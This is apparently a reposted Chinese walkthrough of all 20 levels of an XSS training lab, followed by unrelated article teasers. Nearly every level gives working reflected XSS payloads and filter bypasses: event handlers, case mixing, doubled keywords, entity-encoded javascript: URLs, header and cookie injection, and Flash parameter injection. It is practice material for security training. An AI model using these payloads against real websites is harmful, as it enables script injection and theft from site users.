告别卡关!XSS挑战之旅全关卡通关思路详解

news2025/3/12 19:19:20

XSS挑战之旅

  • XSS测试思路
  • Level1
  • Level2
  • Level3
  • Level4
  • Level5
  • Level6
  • Level7
  • Level8
  • Level9
  • Level10
  • Level11
  • Level12
  • Level13
  • Level14
  • Level15
  • Level16
  • Level17
  • Level18
  • Level19
  • Level20
    • 免责声明:

XSS测试思路

  • 确定输入输出点:
    寻找URL参数、表单输入、HTTP头(Referer/UA/Cookie)、隐藏参数等注入点。
  • 观察过滤规则: 检查是否过滤尖括号、引号、关键字(如scripton事件)、空格等。
    绕过策略:
    • 闭合标签:如><payload>闭合原有标签。
    • 事件触发:利用onmouseoveronclick等事件。
    • 编码绕过:URL编码(%0A换行)、HTML实体、十六进制编码。
    • 特殊字符替代:用换行符%0A代替空格,双写关键字绕过过滤。
    • 协议利用:javascript:伪协议

Level1

来到关卡
我们发现URL存在?name参数
且参数值回显在网页上
在这里插入图片描述

故尝试操控URL
构造test<
发现网站没有对参数进行恶意字符过滤
在这里插入图片描述
尝试构造payload

<script>alert(1)</script>

成功弹窗
在这里插入图片描述

Level2

可以看到这一关输入点在搜索框在这里插入图片描述

审查元素得知输入的内容在<input>标签的value属性中
在这里插入图片描述
故构造payload时要闭合value的双引号

"><script>alert(1)</script>

在这里插入图片描述

Level3

本关卡输入值被包裹在单引号'
<、>被转义
故需通过单引号闭合的同时
利用标签原有属性(如onmouseover)注入事件绕过尖括号的过滤
构造' onmouseover=alert(1)//(注:换行符可以绕过闭合)
鼠标悬停输入框时触发弹窗
在这里插入图片描述

Level4

本关与Level3类似
但闭合符号变为双引号"
且尖括号被过滤。
故需通过双引号闭合并利用事件属性绕过
构造" onmouseover=alert(1)//
在这里插入图片描述

Level5

本关<script>on事件关键字被过滤
故需使用非脚本标签(如<a>)的href属性结合javascript:伪协议利用漏洞
构造"><a href='javascript:alert(1)'>点击触发</a>
这里闭合双引号后插入<a>标签在这里插入图片描述

点击链接触发弹窗
在这里插入图片描述

Level6

该关卡对script、href等关键词进行过滤
但发现未处理大小写混合情况。
故通过将标签属性或事件名改为大写绕过过滤
构造payload

"><Script>alert(1)</script>

在这里插入图片描述
构造payload2

"><Img Src=x OnError=alert(1)>

在这里插入图片描述
构造payload3

"><a Href=javascript:alert(1)>click</a>

在这里插入图片描述
在这里插入图片描述

Level7

本关卡对关键词进行删除处理(如script会被删除)
故需通过双写关键词绕过
例如scscriptript会被过滤为script
构造payload1
在这里插入图片描述
构造payload2

" oonnclick=alert(1)//(双写on为oonn,提交完点击输入框后即可弹窗,`//`这个符号不能省略)

在这里插入图片描述

Level8

该关卡对javascript:协议进行严格过滤
故我们需通过HTML实体编码或Unicode绕过
因为浏览器会自动解码HTML实体或Unicode字符,最终执行原始代码。
构造payload1

javascrip&#x74;:alert(1)(`t`的十六进制编码,点击链接弹窗)

在这里插入图片描述
构造payload2
使用Unicode编码:

javasc&#x0072;ipt:alert(1)

在这里插入图片描述

Level9

该关卡要求输入内容包含http://,否则不执行
故我们需在JavaScript伪协议后添加注释或合法URL
由于校验仅检查是否存在http://,注释部分不影响代码执行。
故构造payload

javascrip&#x74;:alert(1)//http://(编码+注释)

在这里插入图片描述

Level10

本关没有输入框
猜测该关卡通过隐藏参数t_sort注入
在这里插入图片描述
故我们需闭合value属性并插入事件
原理是闭合value的引号后
通过type="text"将隐藏输入框变为可见
并绑定事件触发弹窗
构造payload1

?keyword=test&t_sort=" type="text" onclick="alert(1)

在这里插入图片描述
在这里插入图片描述
点击输入框即可弹窗
在这里插入图片描述
构造payload2

?keyword=test&t_sort=" onmouseover=alert(1) type="text"(鼠标悬停触发弹窗)

在这里插入图片描述
构造payload3

?t_sort=8888" type="text" onfocus="alert(1)

在这里插入图片描述

Level11

本关卡依然没有输入框
猜测页面隐藏的<input>标签中,t_ref参数从HTTP头的Referer获取值
故需通过修改Referer头闭合标签并插入事件触发XSS
这里使用BP拦截请求
目的闭合value属性并添加事件
修改Referer头为:

Referer: " onmouseover="alert(1)" type="text"  

在这里插入图片描述

在这里插入图片描述

Level12

类似Level11
但注入点为User-Agent头,对应隐藏参数t_ua
本关需构造User-Agent值闭合标签并插入事件
故修改User-Agent头为:

User-Agent: " onclick="alert(1)" type="text  (点击输入框触发弹窗)

在这里插入图片描述
在这里插入图片描述

Level13

本关注入点位于Cookie中的user参数
故需修改Cookie值闭合标签并添加事件
bp抓包修改Cookie值为:

Cookie: user=" onclick="alert(1)" type="text  (点击输入框触发弹窗)

在这里插入图片描述
在这里插入图片描述

Level14

本关由于网络原因链接打不开了
在这里插入图片描述
故给出思路
页面通过<iframe>加载外部图片查看器
理论上需利用图片EXIF信息注入XSS
即需上传包含恶意脚本的图片,利用解析EXIF的漏洞触发XSS

  • 使用工具(如exiftool)修改图片EXIF注释:
exiftool -Comment='<img src=1 onerror=alert(1)>' image.jpg  
  • 上传图片并让页面解析。

Level15

本关只有一张图
在这里插入图片描述
由于本关页面使用AngularJSng-include动态包含文件
即可以通过src参数引用外部文件
则我们利用ng-include包含存在漏洞的Level1页面
并传递XSS Payload
构造URL参数

http://靶场地址/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'  

在这里插入图片描述

Level16

该关卡过滤了空格和script关键字
但未过滤尖括号
由于HTML中换行符%0a%0d可替代空格,可以用于拼接事件属性。
故构造payload

<img%0dsrc=a%0donerror=alert(1)>

在这里插入图片描述

Level17

本关输入点主要位于URL参数中
具体为arg01arg02
且网页将用户输入的arg01arg02参数直接拼接在<embed>标签的src属性中例如:

 <embed src="xsf01.swf?arg01=value1&arg02=value2" ...>

而过滤机制方面网页对<、>空格进行了过滤
但保留了on关键字
故构造payload

arg01=a&arg02=%20onmouseover=alert`1`(这里临时更换浏览器是因为火狐不兼容flash事件触发)

在这里插入图片描述

Level18

本关payloadlevel17

arg01=a&arg02=%20onmouseover=alert`1`

在这里插入图片描述

Level19

本关是Flash XSS漏洞
故需要利用Flash文件(.swf)的参数处理缺陷
通过分析反编译后的Flash代码(如使用JPEXS工具)
发现arg01=version时,arg02的值会被拼接到Flash的链接逻辑中
而虽然参数通过htmlspecialchars实体化处理
Flash内部未对href属性内容充分过滤
且允许通过javascript:协议执行代码
故可以构造payload

构造关键:
arg01需设置为version 触发Flash中特定逻辑
arg02需构造包含恶意代码的HTML标签
通过<a>标签的href属性注入javascript:协议代码

得到:

?arg01=version&arg02=<a href="javascript:alert(1)">xss</a>

在这里插入图片描述

Level20

本关通过<embed>标签加载xsf04.swf文件(实际为zeroclipboard.swf的漏洞版本)
而存在核心漏洞是Flash代码未对参数进行严格过滤
导致通过URL参数注入恶意代码
故反编译zeroclipboard.swf后分析源码

 public class ZeroClipboard extends Sprite
   {
       
      
      private var button:Sprite;
      
      private var id:String = "";
      
      private var clipText:String = "";
      
      public function ZeroClipboard()
      {
         super();
         stage.scaleMode = StageScaleMode.EXACT_FIT;
         Security.allowDomain("*");
         var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
         id = flashvars.id;
         button = new Sprite();
         button.buttonMode = true;
         button.useHandCursor = true;
         button.graphics.beginFill(13434624);
         button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height));
         button.alpha = 0;
         addChild(button);
         button.addEventListener(MouseEvent.CLICK,clickHandler);
         button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*
         {
            ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);
         });
         button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):*
         {
            ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null);
         });
         button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):*
         {
            ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null);
         });
         button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):*
         {
            ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null);
         });
         ExternalInterface.addCallback("setHandCursor",setHandCursor);
         ExternalInterface.addCallback("setText",setText);
         ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null);
      }
      
      public function setHandCursor(param1:Boolean) : *
      {
         button.useHandCursor = param1;
      }
      
      private function clickHandler(param1:Event) : void
      {
         System.setClipboard(clipText);
         ExternalInterface.call("ZeroClipboard.dispatch",id,"complete",clipText);
      }
      
      public function setText(param1:*) : *
      {
         clipText = param1;
      }
   }
}

可以看到Flash通过LoaderInfoURL参数arg01arg02中读取值在这里插入图片描述

关键漏洞函数为ExternalInterface.call在这里插入图片描述

用于与JavaScript交互。
故需构造参数闭合arg02原有逻辑并插入恶意代码。
得到:

?arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width%26height

在这里插入图片描述

免责声明:

本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2299847.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Java】分布式锁Redis和Redisson

https://blog.csdn.net/weixin_44606481/article/details/134373900 https://www.bilibili.com/video/BV1nW421R7qJ Redis锁机制一般是由 setnx 命令实现&#xff0c;set if not exists&#xff0c;语法setnx key value&#xff0c;将key设置值为value&#xff0c;如果key不存在…

Python的imutils库详细介绍

imutils 是一个专为简化OpenCV&#xff08;计算机视觉库&#xff09;常见操作而设计的Python工具库&#xff0c;提供了一系列便捷函数&#xff0c;使图像和视频处理更加高效和简洁。以下是对其功能、安装及用法的详细介绍&#xff1a; 1. 安装方法 通过pip安装&#xff1a; p…

从零开始学Python爬虫:(二)使用基本库urllib(下)

一、异常处理 关于某些情况下&#xff0c;可能会出现异常&#xff0c;如果不处理它们&#xff0c;会发生很多错误。 而urllib库提供了error模块来处理这些异常&#xff0c;该模块包括以下功能&#xff1a; &#xff08;1&#xff09;URLError 该类含有一个属性reason&#x…

【嵌入式Linux应用开发基础】read函数与write函数

目录 一、read 函数 1.1. 函数原型 1.2. 参数说明 1.3. 返回值 1.4. 示例代码 二、write 函数 2.1. 函数原型 2.2. 参数说明 2.3. 返回值 2.4. 示例代码 三、关键注意事项 3.1 部分读写 3.2 错误处理 3.3 阻塞与非阻塞模式 3.4 数据持久化 3.5 线程安全 四、嵌…

15.1 Process(进程)类

版权声明&#xff1a;本文为博主原创文章&#xff0c;转载请在显著位置标明本文出处以及作者网名&#xff0c;未经作者允许不得用于商业目的。 通常开发时想要获得进程是比较困难的事&#xff0c;必须要调用CreateToolhelpSnapshot、ProcessFirst、ProcessNext等API或者诸如 Zw…

CentOS 7 企业级Redis 7部署指南

CentOS 7 企业级Redis 7部署指南 目录导航 一、环境准备 1.1 依赖管理 二、离线安装 2.1 源码编译安装2.2 目录结构规范 三、生产配置 3.1 主配置文件3.2 配置生成脚本 四、系统集成 4.1 Systemd服务文件4.2 服务管理命令 五、安全加固 5.1 网络安全配置5.2 审计配置 六、性能…

消息中间件深度剖析:以 RabbitMQ 和 Kafka 为核心

在现代分布式系统和微服务架构的构建中&#xff0c;消息中间件作为一个不可或缺的组件&#xff0c;承担着系统间解耦、异步处理、流量削峰、数据传输等重要职能。尤其是在面临大规模并发、高可用性和可扩展性需求时&#xff0c;如何选择合适的消息中间件成为了开发者和架构师们…

大语言模型简史:从Transformer(2017)到DeepSeek-R1(2025)的进化之路

2025年初&#xff0c;中国推出了具有开创性且高性价比的「大型语言模型」&#xff08;Large Language Model — LLM&#xff09;DeepSeek-R1&#xff0c;引发了AI的巨大变革。本文回顾了LLM的发展历程&#xff0c;起点是2017年革命性的Transformer架构&#xff0c;该架构通过「…

java八股文-spring

目录 1. spring基础 1.1 什么是Spring&#xff1f; 1.2 Spring有哪些优点&#xff1f; 1.3 Spring主要模块 1.4 Spring常用注解 1.5 Spring中Bean的作用域 1.6 Spring自动装配的方式 1.7 SpringBean的生命周期 1.8 多级缓存 1.9 循环依赖&#xff1f; 1 .8.1 原因 1.8…

NLP 八股 DAY1:BERT

BERT全称&#xff1a;Pre-training of deep bidirectional transformers for language understanding&#xff0c;即深度双向Transformer。 模型训练时的两个任务是预测句⼦中被掩盖的词以及判断输⼊的两个句⼦是不是上下句。在预训练 好的BERT模型后⾯根据特定任务加上相应的⽹…

蓝桥与力扣刷题(230 二叉搜索树中第k小的元素)

题目&#xff1a;给定一个二叉搜索树的根节点 root &#xff0c;和一个整数 k &#xff0c;请你设计一个算法查找其中第 k 小的元素&#xff08;从 1 开始计数&#xff09;。 示例 1&#xff1a; 输入&#xff1a;root [3,1,4,null,2], k 1 输出&#xff1a;1示例 2&#xff…

半遮挡检测算法 Detecting Binocular Half-Occlusions

【1. 背景】&#xff1a; 本文分析【Detecting Binocular Half-Occlusions&#xff1a;Empirical Comparisons of Five Approaches】Geoffrey Egnal和Richard P. Wildes于2002年发表在IEEE Transactions on Pattern Analysis and Machine Intelligence上&#xff0c;这是1篇中…

PHP培训机构教务管理系统小程序

&#x1f511; 培训机构教务管理系统——智慧教育&#xff0c;高效管理新典范 &#x1f680; 这款教务管理系统&#xff0c;是基于前沿的ThinkPHP框架与Uniapp技术深度融合&#xff0c;匠心打造的培训机构管理神器。它犹如一把开启高效运营与精细管理的金钥匙&#xff0c;专为…

无人机不等同轴旋翼架构设计应用探究

“结果显示&#xff0c;对于不等组合&#xff0c;用户应将较小的螺旋桨置于上游以提高能效&#xff0c;但若追求最大推力&#xff0c;则两个相等的螺旋桨更为理想。” 在近期的研究《不等同轴旋翼性能特性探究》中&#xff0c;Max Miles和Stephen D. Prior博士深入探讨了不同螺…

CTFHub技能树-密码口令wp

目录 引言弱口令默认口令 引言 仅开放如下关卡 弱口令 通常认为容易被别人&#xff08;他们有可能对你很了解&#xff09;猜测到或被破解工具破解的口令均为弱口令。 打开环境&#xff0c;是如下界面&#xff0c;尝试一些弱口令密码无果 利用burpsuite抓包&#xff0c;然后爆…

【NLP251】BertTokenizer 的全部 API 及 使用案例

BertTokenizer 是 Hugging Face 的 transformers 库中用于处理 BERT 模型输入的分词器类。它基于 WordPiece 分词算法&#xff0c;能够将文本分割成词汇单元&#xff08;tokens&#xff09;&#xff0c;并将其转换为 BERT 模型可以理解的格式。BertTokenizer 是 BERT 模型的核心…

【MySQL常见疑难杂症】常见文件及其所存储的信息

1、MySQL配置文件的读取顺序 &#xff08;非Win&#xff09;/etc/my.cnf、/etc/mysql/my.cnf、/usr/local/mysql/etc/my.cnf、&#xff5e;/.my.cnf 可以通过命令查看MySQL读取配置文件的顺序 [roothadoop01 ~]# mysql --help |grep /etc/my.cnf /etc/my.cnf /etc/mysql/my.c…

IDEA集成DeepSeek

引言 随着数据量的爆炸式增长&#xff0c;传统搜索技术已无法满足用户对精准、高效搜索的需求。 DeepSeek作为新一代智能搜索技术&#xff0c;凭借其强大的语义理解与深度学习能力&#xff0c;正在改变搜索领域的游戏规则。 对于 Java 开发者而言&#xff0c;将 DeepSeek 集成…

leetcode:627. 变更性别(SQL解法)

难度&#xff1a;简单 SQL Schema > Pandas Schema > Salary 表&#xff1a; ----------------------- | Column Name | Type | ----------------------- | id | int | | name | varchar | | sex | ENUM | | salary | int …

SQLMesh系列教程-3:SQLMesh模型属性详解

SQLMesh 的 MODEL 提供了丰富的属性&#xff0c;用于定义模型的行为、存储、调度、依赖关系等。通过合理配置这些属性&#xff0c;可以构建高效、可维护的数据管道。在 SQLMesh 中&#xff0c;MODEL 是定义数据模型的核心结构&#xff0c;初学SQLMesh&#xff0c;定义模型看到属…